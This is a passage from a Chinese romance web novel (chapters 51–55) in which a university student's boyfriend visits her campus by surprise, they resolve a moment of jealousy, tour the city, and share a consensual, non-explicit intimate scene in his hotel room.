一开始只是想聊聊近况打的电话,没想到越聊越久,到后面豆子都倒干净了,两个人还敲着空筒听声响,直到王衎发现方敏周似乎在悄悄抓被咬的蚊子包,说下次再聊吧,屏幕却又都亮着。 风吹过来是凉快的,但室外待久了,方敏周背上还是出了一层薄汗。 王衎像是还有话要说,她耐心等着。 她想起高二的暑假,王衎去了南城,在电话里给她唱歌。她又想起高中老师说得那些从前车马慢的故事,换做北城到江城,要走多久、跑几匹马?她真的要感谢科技进步。 “我现在超想见你。”王衎长长地叹了口气。 “……这不是见到了吗?”方敏周只能这么说。 她挤着笑,但王衎笑不出来,方敏周的笑也渐渐变小,维持最后一丝弧度,“挂吧,你早点休息。” “嗯,不过,”王衎想到一个严峻的问题,“你不能每次和我打电话都跑到外面喂蚊子吧?” 是哦。 “过几天就没蚊子了。” “……然后在雪里给我打电话?” 方敏周“噗嗤”一声,“那再看吧,等哪天我室友不在。” “……我还能等到那天吗?” “能。” “……行吧。”王衎很无奈,顿了顿,“晚安,敏敏同学。” 这又是什么新的称呼,方敏周回:“……晚安,王衎。” 视频终于挂断,方敏周才看到寝室群里大家在喊她。 罗佳:@方块什么电话打这么久 金莹:/坏笑 罗佳:/坏笑 孟雨君:/坏笑 当事人方敏周没有跟队形,手机屏幕熄灭,她望向夜晚的北城大学。这是一座比樟城发达数百倍的城市,远处的高楼大厦璀璨辉煌,和高中晚自习那会眺望的景色全然不同。 深呼吸又深呼吸,把一整天起起伏伏的心情压缩再压缩,没有镜子让她整理仪容,自己确认自己没问题后,方敏周才回到寝室接受室友们的调侃。 军训、班级破冰、社团招新……大学生活和方敏周想象中的不太一样。 最早的课也只是早八,没有晚自习,大一课程虽然满,但下了课,时间就都是自己的。离开家长的视线、没有老师的管控,加上法律上的成年人身份,某种程度上,是像高中耳闻的那般:解放了、自由了。 她报名了辩论社,认识她的人都挺意外的,大概是基于对辩论的人伶牙俐齿的刻板印象,不是觉得方敏周嘴笨,只是觉得和她的性格不太符合。 “你不是是为了之后和我吵架吵赢我吧?”王衎这么问。 “王同学,你对辩论有很深的误解,我建议你去了解下辩论的涵义。”方敏周正经地说,“而且,我们什么时候吵架了?” 还有一句没说的,什么时候他吵赢过? “我道歉。”视频那头王衎做了一个投降的手势。 方敏周笑一笑不计较。 至于问她为什么,她就是想要尝试一些新的东西,期待辩论的思维是否可以给她带来某种巨变:她仍然不喜欢舞台,但她不得不上台,又受够了每次都兢兢战战的感觉,她想要打开自己,即使是借助已有的论题。 但另一方面,几堂课后,一些同学所展现的资质和自信,立刻把方敏周内心深处的焦虑重新勾起来。她早有想到过的,她属于超常发挥考上的北城大学,高一刚入学苦苦追赶的经历或许会再一次上演,而这次她并不一定能够成功。 但怎样算成功? 高绩点?然后呢,读研还是工作?她要做什么样的工作?经济学讲用稀缺资源满足无限需求,而既然需求是无限的,那真的有能够满足的时候吗? 方敏周发现一个阶段有一个阶段的茫然。 星期五只有上午有课,下课铃响,军训后紧接着上课的开学周终于告一段落,接下来相当于有两天半的周末,单单这点来说,还是大学好。 方敏周和室友来到食堂,大学的饭点虽然不比高中时万马奔腾,但人也不少。 其他人吃炒菜,方敏周排盖浇饭的窗口,要轮到她时,她听到身后一个男生像是在对她说:“同学,可以麻烦你帮我点份红烧牛肉盖浇饭吗?” 方敏周刚要答应,又觉得奇怪,转过头—— 她是眼花了,还是她潜意识里有这么想王衎吗?但这个人长得真的…… 王衎仰着头,装模做样地看着菜单,但嘴角的笑意完全压不住,垂下眼,对上方敏周直愣愣的视线,破了功,“或者你有什么其他推荐的吗?” 第52章 第 52 章 “同学,吃什么?”…… “同学, 吃什么?”阿姨一边拿盘子一边问。 方敏周连忙回头,各式菜色入眼,可一时间大脑却是一片空白, 嘴张着, 话说不出, 不太相信地又往后看了一眼。 食堂的嘈杂拥挤纷纷远去, 王衎确实站在她身后。 他黑了些但好像也结实了些, 新剪短的头发很精神,一贯的休闲短袖。虽然只是一个月左右没见,方敏周却觉得他一下子成熟了不少, 有种青笋要长成竹的挺拔气势,但歪嘴一笑, 那股幼稚气像拉开拉环的可乐气泡,不可避免地又跑了出来。 她的目光定在王衎笑得很可恶的脸上, 心脏却无比酸胀, 他忽然朝她后面抬抬下巴。 “同学?” 阿姨再一次疑惑地催促, 方敏周恍然转过身, “不好意思阿姨, 要一份鱼香肉丝……” 阿姨的锅勺立刻刮过盘底, 隔壁队伍的同学在抱怨下午的课程,窗口里一个胖壮大叔端着新出锅的一盘青菜走过……没有人注意的角落,方敏周感觉自己垂在腿边的手被有意无意地轻碰着, 从手指到掌心,方敏周脸热得要冒烟, “……再要份红烧牛腩,谢谢。” 一勺米饭一勺菜,盘子递到两人手中, 方敏周瞄了眼王衎,王衎憋着笑撇嘴,跟上她。 方敏周想先找个空位坐下,再发消息和室友说一声,不巧先看到站起来向她招手示意的金莹。 方敏周顿时进退两难,金莹反而先反应了过来,嘴巴张成“o”型,然后像交警似得,夸张地做出让他们先走的指挥手势。纵使是人满为患的食堂,这一幕也很引人注目,孟雨君和罗佳也都看了过来。 方敏周真想原地找个洞,赶快往里走,好不容易找到一个两人空位,她先坐下,王衎才悠哉游哉地放下餐盘。 她的小尴尬在极大的惊喜面前不值一提,这一幕太不真实,方敏周做梦都没有想过,浑身都在发热,先拿起了筷子,实际食不知味。 而王衎的胃口好极了,他此趟的重要动力之一就是想象方敏周会是什么反应,谁让她总是气定神闲的,现在脸红得像个番茄。他心满意足地夹了块牛腩到方敏周盘中,自己也吃了块,挑剔地说:“味道还行。” 孟雨君:“刚才那人谁?” 金莹:“肯定敏周男朋友啊。” 罗佳:“哎哟,好像还不错哦。” 方敏周嚼着米饭,迟迟没有说话。 王衎很得意,忍不住笑她:“有这么吃惊吗?感动到了不会吧?” 换做平时,方敏周一定是要杀王衎威风的,但此刻,她诚实地看向他,点了点头。 他们在不同的食堂,不再穿蓝白色的一中校服,一切都变了,一切又似乎都没变。幸福的瞬间好像从来不曾尖锐,却柔软得令人不知所措。 他是制造惊喜的人,心却也在发抖。王衎又夹了一块牛腩到方敏周盘中:“先吃饭。” 孟雨君:“她男朋友不是在江城吗?” 金莹:“好像是。” 孟雨君:“今天敏周生日?” 罗佳:“不是吧,我生日还没过呢,她比我小。” 孟雨君:“那……” ——那这才刚开学,什么日子? 几口饭,稍稍压住了情绪,王衎打量起方敏周:“我怎么觉得你瘦了?” “没有。”方敏周说,打量回去,“你到底有没有好好涂防晒?” “涂了啊,没用。” “不可能,你一定没认真涂。” “那下回你帮我涂。” 方敏周:“……” 王衎心里想笑,她像是仙人掌,带刺,实际是碰一碰就害羞的含羞草。 方敏周瞪了王衎一眼,“你……什么时候来的?” “你猜。” “……” 王衎不逗她了,“上午的飞机。” “你今天没课?” 王衎看了看她,轻轻带过:“请假了。” 但方敏周还是沉默了。 王衎轻咳一声,“本来打算在教室门口等你下课的,听到你和你朋友去食堂,就想看看你平时都吃什么,我还在想你什么时候会发现我,结果你根本没有回头。话说你每天都吃食堂?你什么时候爱吃盖浇饭了?” 说着又往方敏周盘中夹肉。 一共能有几块肉? “偶尔吃下……我够了,你自己吃。”方敏周制止王衎,拉回他刻意避开的话题,“你怎么和老师说的?” 王衎就知道她一定会介意这点小事,所以提前想好了话术:“你刚才不还说见我的很高兴吗?” 这能混为一谈吗?方敏周刚张口,王衎抢白:“放心,我就说家里有事,本来我今天也没什么课,而且我来都来了,你不会还要赶我走吧?那我得先多吃几口饭,不然等会要饿死在路上……” 他演起戏来,方敏周哭笑不得,只有妥协:“行了……但你下次不能这样了。“ “保证,诶,但我真的觉得你瘦了。” “……” 忽然察觉到旁人的是视线,方敏周看过去,发现她的室友们已经吃完了饭,正假装不经意地从旁经过,或是挤眉弄眼,或是意味深长。方敏周脸上好不容易消下去的温度再度攀高,而王衎极其自然地朝她们打招呼,反而把人吓到了,挥了挥手,你推我我推你,匆匆离开。 王衎还笑,方敏周让他闭嘴,“快点吃饭。” 菜都凉了。 终于吃完了饭,接下来理应逛一逛校园,但日头还很晒,方敏周把人带进了图书馆。 王衎怀疑方敏周故意的,因为图书馆禁止喧哗,方敏周说王衎庸俗,“你是不是都还没进过你学校图书馆?” 王衎顺着她的话:“你怎么知道?” 方敏周:“……” 怎么当文盲还理直气壮的。 还好,图书馆放映室下午有活动,虽然放得是纪录片,但昏暗的的环境里肩靠着肩,让王衎想起暑假和方敏周一起看电影的感觉,就当是有点无聊的电影,他可以悄悄牵她的手,玩她的手指,虽然被她屡屡挣脱,但立刻重新抓住,像玩捞金鱼的游戏。 看完纪录片,再在馆里逛了逛,太阳差不多要西落,方敏周带王衎参观学校。 王衎和她爸妈一样,每到一个“景点”就想拍照留念,区别在于和爸妈一起时,方敏周帮爸妈拍照拍的多,和王衎一起,王衎总要拉着她合照。在湖边,他甚至能直接喊住路过的同学帮忙,方敏周慌里慌张地说不用,被叫住的同学走也不是、不走也不是,“那个,我等会有事……” 方敏周赶紧向人家道歉,这时旁边一道声音插进来:“我帮你们拍吧。” 方敏周尴尬了:“学长……” 学长? 王衎看向眼前的男生,跟着喊道:“学长好。“ 卓睿微笑致意。 想到刚才被王衎搂着拍照的画面不知多少落入学长眼中,方敏周很难不羞恼,硬着头皮帮两人介绍。 王衎一听,又是直系学长又是方敏周辩论社的社长,实在很难让他有好印象,但他表面上还是很有礼貌地把自己的手机递过去,牵住方敏周的手,“那就麻烦学长了。” “不客气。”卓睿说,举起手机,拍了几张后,还给王衎,“但我拍照水平一般,你们看看这样行吗?” 方敏周手心里都是汗,“没关系,谢谢学长。” “好,那我先走了,你们好好逛。” 方敏周:“嗯,学长再见。” 王衎重复:“学长再见。” 卓睿挥挥手:“再见。” 等卓睿走远,方敏周才松了口气,这才去看照片里的自己,脸通红通红的,王衎倒是笑得很开心,忍不住小小地埋怨,却听王衎似笑非笑地回了句:“和我在一起很怕被人看到吗?” 方敏周愣住了,分辨不出他是认真还是开玩笑,“不是啊……” “你和这个学长关系很好?” 方敏周的表情彻底僵了,她尽量保持轻松的语气,“还好,他挺照顾大家的。” 风吹过,一身薄汗凉了凉。 “这样啊。”王衎换上笑。 他的意思很直接,但把怀疑包裹在了看似随意平静的问题里,因为这样比较体面,且有解释的退路。有些事情不用捅破,方敏周知道,只要这个时候她也应和一句,刚才若有若无的刺探就能无事般揭过。 但她不想这样,方敏周叫他:“王衎。” “嗯?”王衎语调还是上扬的,假装没听出方敏周的深意,但他的眼睛里流露出了紧张,方敏周也发现了。 “你要清楚一件事情。”方敏周认真地看着他,“我们现在、未来四年,就是异地的状态。” 王衎脸上的笑变得淡淡的,“我知道。” “所以你今天是来查岗的吗?” “不是,我要是查岗我就……”王衎猛地停住,因为方敏周的表情变了,“我是想你才来的……你不想我吗?” 他装得可怜、说得委屈,有点做作,但刚刚好的度,至少比刚才话里有话来得好,方敏周心软了点,“你不能看到我身边有个男生就……” “男生都这样。”王衎说,他刚才的敌意是真的,现在觉得方敏周把这件事看得太严重也是真的,“如果你看到我身边有其他女生,你不会介意吗?” 方敏周被问得懵了下,过了一会,她说:“……不会。” 胸口微钝,像鱼咬到了鱼钩,王衎勉强一笑:“……为什么?” 方敏周澄澈的眼睛真挚地望着他,“因为我相信你。” 鱼挣脱了鱼钩。 “所以我也希望你能相信我。” 又是这样。 王衎轻轻地摸了摸方敏周的手。 他不会让方敏周失望,他也不是不相信她,他只是…… 他喜欢她,所以每天都想见她,所以他会吃醋会嫉妒,有分享欲也有占有欲,他觉得这是很正常的七情六欲,但在方敏周看来,这是不正确的、需要剔除的情感,她的冷静,往往让他陷入自我怀疑:他很喜欢很喜欢方敏周,但不确定,她有多喜欢自己。 虽然他自始至终都不奢求方敏周的百分之百,但这是他的理智,真实的他,希望方敏周同样喜欢他,甚至更爱他,情绪不可控制,他总为这份温差患得患失。 王衎叹了口气,还是他的问题,他握住方敏周的手道歉。 王衎背着光,湖面波光粼粼,他的脸笼在朦胧的光里。方敏周想到他飞那么远过来,怎么也不应该和他吵架,不免也有些不好意思,慢慢回握住王衎的手,其实也不是什么大事情不是吗? “……生气了?”她小心问道。 王衎失笑:“我哪有那么小心眼。” 方敏周心里说他就有,但嘴上道:“好啦,我请你吃饭。” “好啊,吃什么?” “你想吃什么?” “你猜我想吃什么?” 方敏周:“……” 王衎笑起来。 鱼其实有很强的生命力,脱钩的鱼有很大的几率存活,只会在嘴边留有一点疤痕,但也有可能死亡。 那到底是死是活? 鱼从水草中游走,再不见踪影。 第53章 第 53 章 方敏周其实还没怎么…… 方敏周其实还没怎么探索过北城的好吃的店, 干脆带王衎去吃一家口碑很好的粤菜馆,价格略贵,不过味道确实不错, 准备结账的时候, 却是已经被王衎付过了。 他们出来玩, 王衎总是抢着付账, 方敏周有点无奈, 王衎则早有预料,一把搂住她,方敏周只能作罢, 想着之后有机会再请回来。 吃完饭时间也不早了,两个人再打车回学校, 王衎的酒店就在北城大学附近。 学校附近的酒店不便宜,他周日晚上乘飞机回江城, 方敏周不禁在心里默默算了算王衎这一趟来回的费用, 王衎忽然示意她看看旁边。 方敏周没多想, 看过去, 看到在寝室楼下或是拥抱或是吻别的情侣。 方敏周:“……” 王衎又笑起来。 她一个当着别人面拍照都会脸红的女生, 王衎自然不指望她能主动亲自己一下, 轻轻掐了一下方敏周的脸颊,“走了,明天见。” “……嗯。” 王衎的身影消失在夜色中, 有那么一个瞬间,方敏周想要跑过去或者喊住王衎, 但还是默认他离开,提着手里的一袋子零食上楼。 回到寝室,免不了被盘问。 “我记得你说你们是高中同学?” “你们怎么在一起的?” “谁先告白的, 怎么告白的?” 室友们现在对方敏周的恋爱充满了兴趣。 因为除了刚开学的时候,平时不见方敏周主动提及她的男朋友,她也不在寝室里面打电话,身上没有恋爱的迹象,但是今天这么一看,热恋的很呐。 她们没和方敏周说过,系里有男生向她们打听过她,毕竟大家都蠢蠢欲动地想要脱单,她们说她已经有对象,还被以为是在诓人。 方敏周言简意赅,有些说了,有些略过,拿零食堵室友们的嘴,被问零食是谁买的,又被调侃。 第二天多云。 北城尚未正式入秋,叶子半黄,王衎以前来过北城,著名的景点两个人都逛过,这一天便随意地到处走走,穿过胡同弄巷,一路走到古迹公园。 正儿八经算起来,这是他们第一次单独的旅游,王衎专门带了相机过来。他给方敏周拍照,有热情的大爷大妈路过夸一嘴,方敏周不好意思,王衎倒是特别与有荣焉,还会回侃几句。 事后方敏周偷偷掐他,王衎躲一会,躲不开了,反过来抓住方敏周的手,“干嘛,我哪里说错了,你就是我女朋友啊。” “那你也不能……” “什么?” 方敏周闭嘴了,她没脸复述王衎的油腔滑调。 她觉得,以后她和王衎在一起,需要备些速效救心丸,不然老是被他捉弄得脸红心跳。 坐在公园的长椅上,方敏周凑过去看王衎手里的相机时,突然想起王衎帮她拍的第一张照片。 她不禁瞧了王衎一眼,王衎看过来,初秋碎金般的阳光落在他身上,“怎么了?” 方敏周犹豫了下,“问你个问题。” “不要。” “……” “看你这样子,肯定不是什么好问题。” “……哦。”王衎都这么说了,方敏周也不勉强。 “你这就放弃了?都不坚持一下?”王衎不乐意了,“你问吧,什么问题?” 但方敏周已经不想问了。 她起身,继续往公园里头走,王衎不依不饶,倒打一耙说方敏周说话大喘气、故意吊他胃口,方敏周只好转身,“我本来是想问你,你什么时候喜欢上我的。“ 这是昨天她的室友们问她的问题,她答不出个所以然,刚才心思一动,才想问问,但现在已经没了试探的意思,只有单纯的疑问。 但王衎怔怔然涨红了的脸,又微妙地把气氛变了味道。 方敏周不知道说什么了,走进沿湖的长廊里,重新坐下,王衎踱过来,坐到她旁边。 远处的山丘顶上同样有一座古塔,岸边的柳叶探着蓝色湖水里荡漾的碎光,近处是几只颜色各异的鸳鸯,远处有几艘慢悠悠的游船。 王衎一会儿看看风景,一会儿看看貌似也在看风景的方敏周,实际心里在疯狂思考她的问题。 有点焦急,因为得赶快给出答案。 是高二期中考那次?他试图安慰方敏周结果弄巧成拙把人惹哭,现在回想起来,依然挺愧疚的,好像也就那次见方敏周红了眼睛;还是螳螂跳到她桌上那次?不知怎的,王衎脑海中浮现出更早的一幅画面:她坐在讲台前翻字典,被他一句话吓得像只猫似的抖了抖,仰起脸看过来,颇有戒备的一双眼。 时间到了,王衎低声:“……我也不知道。” 方敏周瞥他,像是不在意答案般地轻轻“哦”了声。 “你问我这个……干嘛?” “随便问问。” “那你呢?” “……什么?” “你什么时候喜欢我的?” 方敏周把眼睛转走了,过了一会儿,看回来,“我也不知道。” 两个人对视着,一秒两秒,忽然就都不好意思地移开了目光,抿着嘴偷偷笑。 逛到后半程,日头未落,天色有些发暗,他们吃晚饭的时候,外头开始下雨。 天气预报降雨概率不高,本来他们还带有侥幸心理,如果没下雨,晚上就去游船、看音乐喷泉,现在计划泡汤。 “要不看电影?”方敏周提议。 “好啊。” 但打开手机,感兴趣的电影不多,最近影院的最近场次已经停止售票,下一场要等两个小时。 走了一天其实也很累了,王衎把手机划到底,收起来,“走吧,我送你回学校吧。” 方敏周看他,点头应了声。 正值晚高峰,路况拥堵,两人改乘了地铁。 雨天的地铁不摇晃,但比记忆里高中晚自习后的公交车更为拥挤。没有空位,王衎把她护在角落。 方敏周起初有些羞窘,因为尽管王衎表面上礼貌地竭力与她保持距离,可停站时人群涌动,不可避免会互相碰到对方,方敏周觉得这没什么,但王衎兀自紧张,让她不禁在心里骂他假正经,然而站得时间久了,她就不觉得他故意了,她小腿发酸,更何况王衎这样紧绷一路。 她扯了扯他的衣角,王衎垂眼,不明所以地看着她。 方敏周再把他往自己的方向拉了一下,王衎终于意会,小心翼翼地放松下来,不再强撑着手臂,又不小心碰到时,也不躲火般躲开了,两个人自然地轻轻依偎着。 地铁运行的摩擦声啸叫声里,听不见彼此的呼吸和心跳,只有微凉皮肤贴久了的温热很真实。 下了地铁,雨就停了,时间不过八点,换做平时晚课都还没结束。于是两人又从地铁口走到了大学附近的步行街,湿润的泊油路反射着两边店铺招牌的霓虹。 热闹没有被阵雨洗刷,果汁买一送一,面包店有新出炉的蛋卷,章鱼小丸子的小摊子被层层包围围。虽然刚刚才吃过饭,但东买西买,不一会儿,四只手都满了,两个人站在街角面面相觑。 有些话,方敏周说不出口,她慢吞吞地喝起果汁。 “要不……”王衎迟疑地问,“去我那?” 方敏周咬着吸管抬起眼。 王衎顿觉有热流劈里啪啦在他的身体里乱窜,他把视线落点从方敏周含着粉红色吸管的嘴唇上强行移开,看起四周,“我是说……你可以到我那看电影。” 天地良心,他真的真的没有别的意思,他只是舍不得方敏周现在就走。 最后一个晚上,他明天就要回江城了。 方敏周嘴里的吸管都要被她咬破了。她这个人就是容易逞英雄,她害羞,但当王衎变得比她还害羞的时候,她反而迎上去。 “走吧。”王衎听到方敏周淡定地对他说。 他愣住。 嘴上话是这么说的,后面怎么办却完全没想清楚,看什么电影?真看电影? 但方敏周知道酒店往哪边走,他反而犹犹豫豫地跟在后头,直到进了电梯,看了方敏周一眼,才下定了什么决心般地按了楼层。 电梯上升那一瞬的失重感,在封闭的空间无限作用于心脏。 长廊铺着厚厚的地毯,幽静昏黄,换王衎走在前面,刷房门、开门、插卡、亮灯,有些凌乱的房间映入两人眼帘。 王衎幡然醒悟,赶紧把手头吃的喝的放一旁,想让方敏周到外面等一等,但她不动,他只好懊恼地迅速整理起房间。 一团糟的被子扯开铺平,敞开的行李箱盖起来推到角落,再把桌上的东西扫进垃圾桶里,最后不忘打开电视。再看了一圈房间,王衎挠了挠脑袋,对方敏周讪笑,“……好了,坐吧。” 方敏周:“……” 王衎后悔了。 ——虽然他确实没有想那档子事,但和方敏周像上课一样坐在沙发上看电影也不是他想要的。 电影是方敏周让他随便挑的,他没多想,选的美国大片,现在整个房间轰隆隆的。 怎么办? 如果有重来的机会,他一定重新表现。 “……我把灯调暗点?“ 方敏周眼睛盯着屏幕,点了点头。 灯光暗了。 王衎站起来又问:“……你冷吗?还是热?空调要不要调低点?” 方敏周说:“不用。” 是吗?那他怎么热得一身汗。 他重新坐下。 立刻多了一笔后悔账——坐得太远了,可直接贴过去意图太直接,担心唐突到方敏周,便又站起来,从小冰箱里拿了瓶矿泉水拧开,递给方敏周:“你要喝水吗?” 方敏周示意自己手里的果汁,“……不用。” “哦。” 灌了口冰水,瞄准了间距再坐下。 坐对了,刚刚好。 可过了一会,又觉得不对劲,太近了点。 近得他能听见方敏周喝果汁的声音,能闻到她身上淡淡的熟悉的香气。 这种近不比在地铁或者之前去电影院看电影,那些毕竟都是在公共场合,事到如今,王衎才觉得自己够离谱,竟然真的以为自己能当柳下惠。 过去的那个暑假,他们有小小地抚摸过对方,隔着衣物,在接吻的时候,但仅此而已,所谓发乎情,止乎礼义。 王衎第三次站起来,方敏周忍无可忍了:“你到底要干嘛?” “啊,我、我……”王衎结巴,“没干嘛,太热了,我把空调调低点。” 方敏周电影也不看了,看着王衎翻箱倒柜地找空调遥控器,但就是找不到。他这样愣头愣脑,硬是把方敏周内心里的羞涩和紧张踩结实了,只想笑。 “遥控器在那里。”她指向床头柜。 王衎低头一看:“……” 空调“滴滴”了两声,王衎转身看方敏周,虽然她秉着一张脸面无表情,但眼睛里有分明的笑意。 王衎有点郁闷,他也是有自尊的,但现在丢脸丢到家了,“你笑我。” “没有啊。” 还否认,王衎更羞恼了,他走到沙发边上,居高临下,方敏周整个人被笼罩在他的影子里。 方敏周慢慢放缓呼吸,平静地迎视王衎的情绪,因为她一点也不怕他。 电影里的主角团们在追逐,风声鹤唳、气喘连连。 良久,王衎别开眼睛,他说:“方敏周,你别这样看我。”—— 作者有话说:中秋快乐~ 第54章 第 54 章 方敏周:? …… 方敏周:? 王衎看了她一眼, 又看了她一眼。 方敏周心又开始乱了。心一乱,人就变得有点烦躁,怨怪王衎不是最厚脸皮吗, 电话里黏黏糊糊的, 这会儿又别扭什么。 “我真没那个意思……”王衎再度为自己正名, 态度正经, 他不想方敏周误会。 方敏周无言。 不用王衎说明, 她也知道他的意思,她同样也还没有那个想法,尽管此刻他们是孤男寡女地待在酒店房间里。 但方敏周不喜欢王衎特地作这种解释。 她第一次认识“做/爱”这个词, 是在小学,因为一首诗, “停车坐爱枫林晚”。老师在台上讲解,底下有男生偷偷笑, 被老师批评了一顿。 课后她知晓了原委, 也脸红, 觉得那些男生很恶心。后来更混乱的青春期里, 类似的事情出现过更多次。 方敏周起初以为这些人是在批判恋爱和性, 后来才发现, 他们是渴望甚至跃跃欲试的,既然如此,为什么嘴边却总是挂着一些不堪的形容描述? “坐爱”是“因为喜欢”, “做/爱”也是因为爱,它的英文, 同样是love。 但这些疑惑不像题目一样可以问老师、问同学、搬到台面上讨论,所以她只有自己默默思考。 现在,有些问题方敏周想明白了, 有些问题仍然混沌。 她知道自己也知行不合一,比如她不认为早恋是错的,却不敢早恋,但现在她和王衎正式交往了,牵过手、接过吻,那么进一步的身体接触,是水到渠道的事情,她不排斥。 她有基本的生理知识,她知道这是客观的生理反应,同样,她也懂得要保护自己,并且尊重自己的感受。 虽然仍然会害怕。 各种各样的害怕,可一想到男生们从不担心,方敏周就觉得这种害怕很没有道理。 王衎越解释,反而越让她觉得……是否发生性关系,好像是在以他的意志来决定,而她讨厌害羞,不仅仅是因为担心丢脸出糗,还因为在大家看来,女生的羞涩和被动是那么理所应当。 在她的意识长出了角的那天起,她就开始质疑自己质疑世界,虽然她仍然循规蹈矩地走在一条既定的道路上。 喉咙发干,方敏周拍了拍旁边的沙发,示意王衎坐下。等王衎呆呆地坐下后,她深呼吸了一口气:“你知道,怎么……做吗?” “……啊?”王衎整个人炸开了,声音都是飘的。 方敏周一颗心几乎快跳出嗓子眼,但她还是逼着自己直视王衎。 王衎张了张嘴,脸涨得头晕,他这是要说知道,还是不知道? 说知道,他也不知道多少,他又没……但说不知道……方敏周怎么会问他这个问题? 没人说话,房间里又只剩下电影的声音。 略有些尴尬的沉默中,方敏周抽空还看了一眼屏幕,多巧,电影里也是两个角色在聊天。 “你如果……想,”她看回王衎,再度开口,因为这是她想对他说的,“你要提前去了解……” 王衎宕机了。 意识缓缓归位后,呼吸都放轻了,仍然有点难以相信。 他以为……女生会很避讳谈及这些事情,方敏周家里还管得那么严,她自己也是个不敢早恋的胆小鬼,尽管他想起来,他们的初吻,其实也是方敏周主动的,但那只是初吻…… 可是电光火石间,在方敏周忍不住躲闪但时时又看向他的目光里,王衎忽然想明白了更多:他自我要求的怜惜,是尊重,也可以是傲慢,而在方敏周看来,他们在面对一道需要共同完成的题目,是平等的合作者关系。 王衎心脏怦怦怦地乱跳,他一瞬不瞬地望着方敏周,“……那你呢?” “……我什么?” “……你知道多少?” “……” 方敏周到底避开了王衎变得直白的目光,默了默,还是悠悠地转回来,“所以我也会去了解……” 气血翻涌,几乎鼻尖对着鼻尖了。 方敏周说话间的呼吸扑洒在了他的脸上,王衎才发现自己不知不觉间已经逼近了她,她貌似从容地往后仰靠在沙发扶手上,清澈的眼睛认真又执拗,显得他刚才刻意的调控距离是多么自欺欺人。 因为要看电影,室内只留了小灯,灯光昏暗,情欲像影绰的光影,在彼此身上无声流转。他们仔仔细细地看着对方,好像没见过眼前这个人一样,有着原始的无尽的好奇和冲动。 王衎没忍住,也不想再忍了,他低头,轻而快地亲了亲方敏周的嘴唇。 方敏周没动,只是睫毛颤了颤。 什么声音都听不到了,剧烈的心跳声也听不到了,王衎再一次俯下身,含住了方敏周柔软的唇瓣。他感觉到方敏周的双手有些紧张地抵在他的胸前,但慢慢地放松展开,搂住了他。 只穿了单薄衣裳的身体亲密地贴在一起,软的地方、硬的地方,王衎不知道方敏周现在是什么感觉,反正他快疯了。 乱涌的欲望只有接吻这一个出口,不知道是谁先张开了嘴,或许只是呼吸不畅时的本能,因为接吻过很多次,互相吮吸的水声里,像玩刺激又好玩的逐浪游戏。 空调低声地运作着,身上仍然出了汗。从肩头蜿蜒往下,扶住腰侧摩挲,迷迷糊糊间,两个人都是一震,方敏周睁开迷蒙的眼睛,看到王衎同样气喘吁吁地望着她,面露赧然。 灼热的气息交缠着,但都不敢动。 方敏周回过神,把一只手覆上王衎的手背。 她放平呼吸,小心翼翼的,像微澜的海,王衎是停泊在她身上小小的白纸船。 王衎的手比她的大,关节和青筋明显,也比她的粗糙,他们牵手的时候,他掌心传来的温度总是很高,但都不像此刻,烙铁一般,只是抚摸好像就会留下痕迹。 方敏周看到王衎喉结用力地在滚动,觉得好笑,实际根本笑不出来,她努力克制着自己,怕他摸出她呼之欲出的心跳。 她的另一只手也从衣摆下方探入。 “嘶……”王衎倒吸了一口气,背不由自主地弓起,再靠下来,亲吻她的脖颈,像是寻求某种慰藉,呼吸声在耳旁被放大,方敏周垂着眼,什么也不敢说。 她摸到王衎腹部和腰背的肌肉,一寸寸,硬硬的,随着急促的呼吸敏感地一缩一放,和她的身体很不一样,有点新奇,她不禁看了王衎一眼。 王衎咬牙:“……方敏周,你胆子怎么这么大?” “……不是你先摸我的吗?”她反问。 然后她看到王衎眼睛里闪过晦暗不明的情绪,像风雨天里的路灯,他声音低哑,带有一点威胁的意味:“你不要觉得我是好人。” “……我没这么觉得。” 王衎带了笑:“那你觉得我是坏人?男人不坏女人不爱?” 方敏周觉得这句话真土,“我也不是好人。” 吻重新落下来。 浅尝即止,温柔地舔舐,王衎不敢亲太久,因为清楚地知道再亲下去会出事,他还没有准备好这门课的测试,方老师也一定不会让他通关的。 他觉得自己像在钻木,抵着抵着、感觉要钻透的那一刻,猛地抽离。 四目相望片刻,他咽下粗重的呼吸,直起身,方敏周慢慢地也从沙发上坐起来。长发从肩头滑落,她从沙发角落找到亲热间掉了的发圈,低着头,重新绑了马尾,露出光洁的后脖。 王衎心里骂了脏话,从沙发上弹坐起来。 方敏周看着王衎莫名原地转了一圈后,抛下一句“我去趟卫生间”,然后卫生间里传来了水流声。方敏周反应过来后,面红耳赤地调大了电视的声音。 电影已经接近尾声,方敏周完全续不上剧情了。 她也有生理反应,不是以前单纯的脸红或者心跳,更奇妙也更私密,她坐在沙发上,静静地感受她身体里流出来的具象化的爱意。 浴室里的水声响了很久,久到方敏周觉得王衎在严重浪费资源,等他终于从浴室出来,电影早就结束了。 房间的灯她重新调亮了,王衎站在浴室门口,很近又很远似得,和她对视了几秒,才摸了摸脖子,腆着脸走过来。 方敏周闻到了淡淡的香气,大概是洗手液的味道。 旁边的沙发柔软地向下凹陷。 方才的温存和旖旎就像这股香气,若有若无地萦绕着他们。 电影看完了,买回来的吃食,一些吃了一些凉了,亲了也摸了…… “我帮你理行李吧。”方敏周说。 “不用。”王衎声音还有点哑,“等会我自己理就行。” 不仅是因为不想让方敏周看到他脏乱差的一面——也没有那么脏乱差,也是因为……这就提醒他马上就要走的事实。 这个女人真狠心,刚还亲亲抱抱呢,这就赶人了。 王衎重新找了部电影播放。 方敏周:“……” 这部电影后来还是当了背景音。 方敏周坐在床边帮王衎一起叠衣服,他带了好些衣服,都没穿也根本穿不过来,问他带这么多干嘛,他支支吾吾地答不上来,最后才说,因为不知道穿什么衣服,所以干脆都带来了。 结果到头来还是短袖休闲裤。 方敏周抖了抖手里的这件海浪花衬衫,再看看王衎,感慨:“你怎么这么自恋……” “我不是自恋……”王衎想辩解,他是想在方敏周面前帅气点,但被她嘲笑,有了小脾气,伸手要把那件衬衫抢回来。 方敏周不让,“所以这件衣服你穿过没有?” “……还没。” 方敏周眨眨眼:“你要不穿上我看看?” 第55章 第 55 章 王衎又变了…… 王衎又变了眼神看她, 看不出来什么想法,像是生气了又好像没生气。 方敏周也收起了点笑,把手中的衬衫递给王衎。他接过去后没有立刻换上, 而是攥在身前, 耳朵红红的, 这画面让方敏周有点意会, 捂住了眼睛, “……我不看。” 王衎:“……” 他并不是怕方敏周看。 他是担心自己穿上太滑稽。 虽然衣服是他买的,但买的时候是鬼使神差,这根本不是他的风格……可现在由不得他多想了, 